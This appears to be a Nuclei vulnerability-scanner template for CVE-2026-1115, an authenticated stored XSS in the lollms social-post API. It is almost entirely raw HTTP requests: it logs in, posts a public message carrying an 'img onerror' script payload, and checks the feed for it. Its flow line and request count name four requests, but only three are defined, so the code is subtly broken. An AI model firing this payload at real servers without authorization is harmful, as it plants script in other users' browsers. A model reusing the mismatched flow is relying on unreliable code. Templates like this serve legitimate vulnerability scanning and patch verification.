parisneo/lollms < 2.2.0 - Authenticated Stored XSS

id: CVE-2026-1115

info:
  name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
  author: str4k3r
  severity: high
  description: |
    parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
  impact: |
    Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
  remediation: |
    Update to version 2.2.0 or later.
  reference:
    - https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
    - https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1115
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-1115
    epss-score: 0.01261
    epss-percentile: 0.69129
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 4
    vendor: parisneo
    product: lollms
    shodan-query: http.title:"LoLLMs"
    fofa-query: title="LoLLMs"
  tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive

variables:
  marker: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /api/auth/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode(username)}}&password={{url_encode(password)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "access_token")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: access_token
        part: body
        internal: true
        json:
          - '.access_token'

  - raw:
      - |
        POST /api/social/posts HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

    extractors:
      - type: json
        name: post_id
        part: body
        internal: true
        json:
          - '.id'

  - raw:
      - |
        GET /api/social/feed HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")'
        condition: and
# digest: 4b0a004830460221008b458cc24add49e75d2d433d22c3b7d3ff6a53b842baa9ee25d3d423d10dfc92022100ce9138038330399f10e77ef5d2f907b865be2e76efca60f40d3f9549cadb95e5:922c64590222798bb761d5b6d8e72950